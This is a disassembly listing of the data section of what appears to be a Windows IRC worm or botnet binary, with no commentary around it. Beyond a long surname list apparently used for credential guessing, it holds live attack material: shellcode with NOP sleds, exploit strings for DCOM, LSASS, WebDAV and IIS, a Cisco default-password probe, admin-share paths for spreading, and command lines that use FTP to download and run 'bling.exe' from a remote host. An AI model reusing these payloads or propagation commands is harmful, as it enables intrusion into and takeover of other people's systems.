aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .data:0043C69Co
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .data:0043C698o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .data:0043C694o
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: .data:0043C690o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .data:0043C68Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .data:0043C688o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .data:0043C684o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .data:0043C680o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .data:0043C67Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .data:0043C678o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: .data:0043C674o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .data:0043C670o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .data:0043C66Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .data:0043C668o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: .data:0043C664o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .data:0043C660o
aBedford	db 'Bedford',0          ; DATA XREF: .data:0043C65Co
aBeder		db 'Beder',0            ; DATA XREF: .data:0043C658o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .data:0043C654o
aBean		db 'Bean',0             ; DATA XREF: .data:0043C650o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .data:0043C64Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .data:0043C648o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .data:0043C644o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .data:0043C640o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .data:0043C63Co
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: .data:0043C638o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .data:0043C634o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .data:0043C630o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .data:0043C62Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .data:0043C628o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .data:0043C624o
aBarry		db 'Barry',0            ; DATA XREF: .data:0043C620o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .data:0043C61Co
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .data:0043C618o
aBarneson	db 'Barneson',0         ; DATA XREF: .data:0043C614o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .data:0043C610o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .data:0043C60Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: .data:0043C608o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .data:0043C604o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .data:0043C600o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .data:0043C5FCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .data:0043C5F8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .data:0043C5F4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .data:0043C5F0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .data:0043C5ECo
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: .data:0043C5E8o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .data:0043C5E4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .data:0043C5E0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .data:0043C5DCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: .data:0043C5D8o
aBady		db 'Bady',0             ; DATA XREF: .data:0043C5D4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .data:0043C5D0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .data:0043C5CCo
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .data:0043C5C8o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: .data:0043C5C4o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .data:0043C5C0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .data:0043C5BCo
aAxworthy	db 'Axworthy',0         ; DATA XREF: .data:0043C5B8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .data:0043C5B4o
aAurelius	db 'Aurelius',0         ; DATA XREF: .data:0043C5B0o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .data:0043C5ACo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .data:0043C5A8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .data:0043C5A4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .data:0043C5A0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .data:0043C59Co
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: .data:0043C598o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .data:0043C594o
aArbia		db 'Arbia',0            ; DATA XREF: .data:0043C590o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .data:0043C58Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .data:0043C588o
aAnsley		db 'Ansley',0           ; DATA XREF: .data:0043C584o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .data:0043C580o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .data:0043C57Co
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: .data:0043C578o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .data:0043C574o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .data:0043C570o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .data:0043C56Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .data:0043C568o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .data:0043C564o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .data:0043C560o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: .data:0043C55Co
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .data:0043C558o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .data:0043C554o
aAltavilla	db 'Altavilla',0        ; DATA XREF: .data:0043C550o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .data:0043C54Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .data:0043C548o
aAleks		db 'Aleks',0            ; DATA XREF: .data:0043C544o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .data:0043C540o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .data:0043C53Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .data:0043C538o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .data:0043C534o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .data:0043C530o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .data:0043C52Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .data:0043C528o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: .data:0043C524o
aAdams		db 'Adams',0            ; DATA XREF: .data:0043C520o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: .data:0043C51Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .data:off_43C518o
		align 4
aPc		db 'PC',0               ; DATA XREF: .text:0040A935o
		align 4
aS_8		db '%s|',0              ; DATA XREF: .text:0040A9B5o
aS_7		db '[%s]|',0            ; DATA XREF: .text:0040AA9Do
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_40AA94o
					; sub_41D779:loc_41D81Ao
a2k3		db '2K3',0              ; DATA XREF: .text:0040AA8Do
aXp_0		db 'XP',0               ; DATA XREF: .text:0040AA82o
					; sub_41D779+8Bo
		align 4
a2k		db '2K',0               ; DATA XREF: .text:0040AA75o
					; sub_41D779+7Co
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:0040AA62o
					; sub_41D779+68o
		align 4
a98		db '98',0               ; DATA XREF: .text:0040AA55o
					; sub_41D779+59o
		align 10h
aNt_0		db 'NT',0               ; DATA XREF: .text:0040AA48o
					; sub_41D779+4Ao
		align 4
a95		db '95',0               ; DATA XREF: .text:0040AA3Do
					; sub_41D779+39o
		align 4
; char aDS[]
aDS		db '[%d]%s',0           ; DATA XREF: sub_40AAE6+3Ao
		align 10h
; char aM[]
aM		db '[M]',0              ; DATA XREF: sub_40AAE6+2Co
					; sub_40AAE6+51o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AAE6+18o
					; sub_41AD95+6o
		align 4
dword_4329BC	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40AEF0+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B0BB+51o
		align 4
; char aSSStopped_DThr[]
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B0BB+35o
		align 10h
; char aTotalDInS_[]
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B3C5+86o
		align 4
; char asc_432A24[]
asc_432A24	db ' '                  ; DATA XREF: sub_40B3C5+47o
		db 3, 37h, 25h
		dd 203A0373h, 2C6425h
; char asc_432A30[]
asc_432A30	db '-'                  ; DATA XREF: sub_40B3C5+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
; char asc_432A50[]
asc_432A50	db '-'                  ; DATA XREF: sub_40B494+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
; char asc_432A98[]
asc_432A98	db '-'                  ; DATA XREF: sub_40B4FF+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
; char aScanTimeS_[]
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B553+7Eo
; char asc_432AD4[]
asc_432AD4	db ' '                  ; DATA XREF: sub_40B553+40o
		db 3, 37h, 25h
		dd 28200373h, 73253403h, 2C2903h
; char asc_432AE4[]
asc_432AE4	db '-'                  ; DATA XREF: sub_40B553+14o
		db 3, 34h, 2
		dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
		dd 3Ah
; char asc_432B00[]
asc_432B00	db '-'                  ; DATA XREF: sub_40B619+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
; char asc_432B20[]
asc_432B20	db '-'                  ; DATA XREF: sub_40B619+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
; char asc_432B3C[]
asc_432B3C	db '-'                  ; DATA XREF: sub_40B690+49Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
; char asc_432B70[]
asc_432B70	db '-'                  ; DATA XREF: sub_40B690+386o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
; char asc_432BA8[]
asc_432BA8	db '-'                  ; DATA XREF: sub_40B690+326o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
; char asc_432BD8[]
asc_432BD8	db '-'                  ; DATA XREF: sub_40B690+25Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
; char asc_432C0C[]
asc_432C0C	db '-'                  ; DATA XREF: sub_40B690+1FFo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
; char asc_432C40[]
asc_432C40	db '-'                  ; DATA XREF: sub_40B690+137o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
; char asc_432C74[]
asc_432C74	db '-'                  ; DATA XREF: sub_40BCF3+DEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
; char asc_432C9C[]
asc_432C9C	db '-'                  ; DATA XREF: sub_40BCF3+86o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_432CD4[]
asc_432CD4	db '-'                  ; DATA XREF: sub_40BEFE+1E5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
; char asc_432D14[]
asc_432D14	db '-'                  ; DATA XREF: sub_40BEFE+16Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
; char asc_432D4C[]
asc_432D4C	db '-'                  ; DATA XREF: sub_40BEFE+108o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_432D80[]
asc_432D80	db '-'                  ; DATA XREF: sub_40BEFE+89o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
; char asc_432DB4[]
asc_432DB4	db '-'                  ; DATA XREF: sub_40C15B+16Bo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
; char asc_432DE8[]
asc_432DE8	db '-'                  ; DATA XREF: sub_40C15B+82o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
; char asc_432E18[]
asc_432E18	db '-'                  ; DATA XREF: sub_40C30A+8Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 10h
; char asc_432E40[]
asc_432E40	db '-'                  ; DATA XREF: sub_40C3D3+40o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
; char asc_432E68[]
asc_432E68	db '-'                  ; DATA XREF: sub_40C4C0+CDo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
; char asc_432E94[]
asc_432E94	db '-'                  ; DATA XREF: sub_40C4C0+40o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 10h
unk_432EC0	db  2Dh	; -		; DATA XREF: .text:0040C6D6o
		db 3, 34h, 2
		db  63h	; c
		db 69h,	73h, 63h
		db  6Fh	; o
		db 28h,	74h, 65h
		db  6Ch	; l
		db 6Eh,	65h, 74h
		db  29h	; )
		db 3, 2, 2Dh
aFoundRouterS	db ' found router: %s',0
		align 4
aUserAccessVeri	db 0Dh,0Ah		; DATA XREF: .text:0040C6B1o
		db 0Dh,0Ah
		db 'User Access Verification',0Dh,0Ah
		db 0Dh,0Ah
		db 'Password',0
		align 4
aPass		db 0Dh,0Ah		; DATA XREF: .text:0040C69Ao
		db 'Pass',0
		align 4
aCisco		db 'cisco',0Dh,0        ; DATA XREF: .text:0040C675o
		align 4
unk_432F24	db  2Dh	; -		; DATA XREF: .text:0040C83Fo
		db 3, 34h, 2
		db  63h	; c
		db 69h,	73h, 63h
		db  6Fh	; o
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	29h, 3
		db    2
aFoundRouterS_0	db '- found router: %s',0
aHttp1_0200Ok	db 'HTTP/1.0 200 OK',0  ; DATA XREF: .text:0040C804o
aGetLevel16Exec	db 'GET /level/16/exec/-///pwd  HTTP/1.0',0Ah ; DATA XREF: .text:0040C7A1o
		db 0Ah,0
		align 10h
dword_432F80	dd 0			; DATA XREF: sub_40C89B+9Ao
asc_432F84:				; DATA XREF: sub_40C89B+17o
					; sub_40C979+17o
		unicode	0, <\\>,0
		align 4
off_432F8C	dd offset dword_49005C	; DATA XREF: sub_40C89B+Co
					; sub_40C979+Co
		dd offset aVonhoffman+4
		dd 24h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:0040CC88o
		align 4
aThcownziis	db 'THCOWNZIIS!',0      ; DATA XREF: .text:0040CF5Eo
dword_432FB8	dd 0FEBh		; DATA XREF: .text:0040CF53o
; char aBling_exe[]
aBling_exe	db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40D055+85o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40D055+42o
		db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
		align 4
a7_0		db '7.0',0              ; DATA XREF: .text:0040D7CFo
a6_0		db '6.0',0              ; DATA XREF: .text:0040D7BEo
a5_0		db '5.0',0              ; DATA XREF: .text:0040D7ADo
a4_0		db '4.0',0              ; DATA XREF: .text:0040D79Co
aHotfix2	db 'hotfix2',0          ; DATA XREF: .text:loc_40D78Bo
a8_15		db '8.15',0             ; DATA XREF: .text:loc_40D75Eo
		align 4
a8_14		db '8.14',0             ; DATA XREF: .text:loc_40D604o
		align 10h
a8_13		db '8.13',0             ; DATA XREF: .text:loc_40D5DAo
		align 4
a8_12		db '8.12',0             ; DATA XREF: .text:loc_40D5B0o
		align 10h
a8_11		db '8.11',0             ; DATA XREF: .text:loc_40D583o
		align 4
a8_10		db '8.10',0             ; DATA XREF: .text:loc_40D556o
		align 10h
a8_05		db '8.05',0             ; DATA XREF: .text:loc_40D529o
		align 4
a8_04		db '8.04',0             ; DATA XREF: .text:loc_40D4FCo
		align 10h
a8_03		db '8.03',0             ; DATA XREF: .text:loc_40D4CFo
		align 4
a8_02		db '8.02',0             ; DATA XREF: .text:loc_40D4A2o
		align 10h
a8_01		db '8.01',0             ; DATA XREF: .text:loc_40D475o
		align 4
a8_00		db '8.00',0             ; DATA XREF: .text:loc_40D448o
		align 10h
a7_15		db '7.15',0             ; DATA XREF: .text:loc_40D41Bo
		align 4
a7_14		db '7.14',0             ; DATA XREF: .text:0040D3EEo
		align 10h
a7_13		db '7.13',0             ; DATA XREF: .text:loc_40D3DDo
		align 4
a7_12		db '7.12',0             ; DATA XREF: .text:loc_40D3B0o
		align 10h
a7_11		db '7.11',0             ; DATA XREF: .text:0040D383o
		align 4
a7_10		db '7.10',0             ; DATA XREF: .text:loc_40D372o
		align 10h
a7_07		db '7.07',0             ; DATA XREF: .text:0040D348o
		align 4
a7_06		db '7.06',0             ; DATA XREF: .text:loc_40D337o
		align 10h
a7_05		db '7.05',0             ; DATA XREF: .text:loc_40D30Do
		align 4
a7_04		db '7.04',0             ; DATA XREF: .text:0040D2DBo
		align 10h
aImail		db 'IMail',0            ; DATA XREF: .text:0040D2C1o
					; .text:loc_40D7DEo
		align 4
dword_4330F8	dd 6EB06EBh, 0		; DATA XREF: sub_40D7FE+17Ao
					; sub_40DDD9+1A2o
; char aSIpc[]
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40D7FE+27o
					; sub_40DDD9+27o ...
		align 4
dword_43310C	dd 1CEC8166h		; DATA XREF: sub_40D7FE+Dr
					; sub_40DDD9+Dr
dword_433110	dd 0E4FF07h		; DATA XREF: sub_40D7FE+16r
					; sub_40DDD9+16r
; char aMsgBodySizeD[]
aMsgBodySizeD	db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40E3B2+177o
		align 4
aMessage	db '*** MESSAGE ***',0  ; DATA XREF: sub_40E3B2+51o
dword_43313C	dd 90909090h, 909010EBh, 90909090h, 0 ;	DATA XREF: sub_40E3B2+42o
dword_43314C	dd 90909090h, 5803EB90h, 0F8E805EBh, 0B9FFFFFFh, 0FFFFFFFFh
					; DATA XREF: sub_40E3B2+35o
		dd 0EE7FE981h, 0C12BFFFFh, 0E0FFh
aAdik		db 'ADIK',0             ; DATA XREF: sub_40E3B2+28o
		align 4
aNetmaniac	db 'NETMANIAC',0        ; DATA XREF: sub_40E3B2+1Co
		align 10h
dword_433180	dd 0FFFFFFFFh, 0	; DATA XREF: sub_40E3B2+10o
		dd 0FFFFFFFFh, 0
aWindowsXpSp1En	db 'Windows XP SP 1 (en)',0 ; DATA XREF: .text:0040E5D0o
		align 4
aWindows2000Sp3	db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: .text:0040E5A9o
		align 10h
; char asc_4331C0[]
asc_4331C0:				; DATA XREF: sub_40E971+31Eo
		unicode	0, <`>,0
; char dword_4331C4[]
dword_4331C4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40E971+2F2o
; char dword_4331D0[]
dword_4331D0	dd 30h			; DATA XREF: sub_40E971+2C6o
; char dword_4331D4[]
dword_4331D4	dd 0A1h			; DATA XREF: sub_40E971+29Ao
dword_4331D8	dd 3			; DATA XREF: sub_40E971+243o
; char aCccc[]
aCccc		db 'CCCC',0             ; DATA XREF: sub_40E971+14Bo
		align 4
; char dword_4331E4[]
dword_4331E4	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_40E971+E0o
dbl_4331F0	dq 1.388888888888889e-2	; DATA XREF: sub_40EEBD+3Ar
dbl_4331F8	dq 1.666666666666667e-1	; DATA XREF: sub_40EEBD:loc_40EED8r
dbl_433200	dq 4.294967296e9	; DATA XREF: sub_40EEBD+15r
					; sub_40EEBD+30r ...
dbl_433208	dq 1.333333333333333	; DATA XREF: sub_40F47A:loc_40F4F1r
; char aGetHttp1_0Host[]
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40F5F6+63o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .text:0040F728o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
; char aAdmin[]
aAdmin		db 'admin$',0           ; DATA XREF: sub_40F87A+3Do
		align 4
; char asc_4332BC[]
asc_4332BC:				; DATA XREF: sub_40F87A+32o
					; sub_414B1C+2Co
		unicode	0, <\>,0
; char asc_4332C0[]
asc_4332C0	db '\\',0               ; DATA XREF: sub_40F87A+19o
		align 4
a8a885d041ceb11	db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40FA56+Co
		align 4
aFdb3a030065f11	db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: .text:0040FB79o
		align 4
; char asc_433314[]
asc_433314	db '-'                  ; DATA XREF: sub_40FDC3+211o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 62h
		db  69h	; i
		db 6Fh,	73h, 3
		db    2
aExploitingIpSS	db '- Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
aNoPassword	db '(no password)',0    ; DATA XREF: sub_40FDC3+1EAo
		align 10h
; char aSSS_2[]
aSSS_2		db '%s\%s\%s',0         ; DATA XREF: sub_40FDC3+CAo
		align 4
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: sub_40FDC3+71o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: sub_40FDC3+6Ao
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: sub_40FDC3+63o
; char aSIpc_0[]
aSIpc_0		db '%s\ipc$',0          ; DATA XREF: sub_4100AE+53o
; char aS_1[]
aS_1		db '\\%s',0             ; DATA XREF: sub_4100AE+15o
					; sub_410F37+124o
		align 4
aSPipeLsarpc	db '\\%s\pipe\lsarpc',0 ; DATA XREF: .text:004105C6o
		align 4
aSIpc_1		db '\\%s\IPC$',0        ; DATA XREF: .text:00410818o
		align 4
; char aSD_1[]
aSD_1		db '%s%d',0Dh,0Ah       ; DATA XREF: sub_410BF8+143o
		db 0Dh,0Ah,0
		align 10h
; char aSearchSHttp1_1[]
aSearchSHttp1_1	db 'SEARCH /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_410BF8+127o
		db 'Host: %s',0Dh,0Ah
		db 'Content-type: text/xml',0Dh,0Ah
		db 'Content-Length: ',0
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_410BF8+40o
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
aWin2kSp0FromPh	db 'Win2K SP0 From PhaTTy 1',0
aWin2kSp1FromPh	db 'Win2K SP1 From PhaTTy 2',0
aWin2kSp2FromPh	db 'Win2K SP2 From PhaTTy 1',0
aWin2kSp3FromPh	db 'Win2K SP3 From PhaTTy 1',0
aWin2kSp4FromPh	db 'Win2K SP4 From PhaTTy 3',0
aWin2kSp4From_0	db 'Win2K SP4 From PhaTTy 2',0
aWin2kSp1From_0	db 'Win2K SP1 From PhaTTy 1',0
aWin2kSp4From_1	db 'Win2K SP4 From PhaTTy 1',0
aDosXpAll	db 'DoS XP ALL',0
		align 4
aWindowsUk2k3Ee	db 'Windows uk 2k3 ee sp0 24',0
		align 4
aWindowsUk2k3_0	db 'Windows uk 2k3 ee sp0 23',0
		align 4
aWindowsUk2k3_1	db 'Windows uk 2k3 ee sp0 22',0
		align 10h
aWindowsUk2k3_2	db 'Windows uk 2k3 ee sp0 21',0
		align 4
aWindowsUk2k3_3	db 'Windows uk 2k3 ee sp0 20',0
		align 4
aWindowsUk2k3_4	db 'Windows uk 2k3 ee sp0 19',0
		align 4
aWindowsUk2k3_5	db 'Windows uk 2k3 ee sp0 18',0
		align 10h
aWindowsUk2k3_6	db 'Windows uk 2k3 ee sp0 17',0
		align 4
aWindowsUk2k3_7	db 'Windows uk 2k3 ee sp0 16',0
		align 4
aWindowsUk2k3_8	db 'Windows uk 2k3 ee sp0 15',0
		align 4
aWindowsUk2k3_9	db 'Windows uk 2k3 ee sp0 14',0
		align 10h
aWindowsUk2k_10	db 'Windows uk 2k3 ee sp0 13',0
		align 4
aWindowsUk2k_11	db 'Windows uk 2k3 ee sp0 12',0
		align 4
aWindowsUk2k_12	db 'Windows uk 2k3 ee sp0 11',0
		align 4
aWindowsUk2k_13	db 'Windows uk 2k3 ee sp0 10',0
		align 10h
aWindowsUk2k_14	db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_15	db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_16	db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_17	db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_18	db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_19	db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_20	db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_21	db 'Windows uk 2k3 ee sp0 2',0
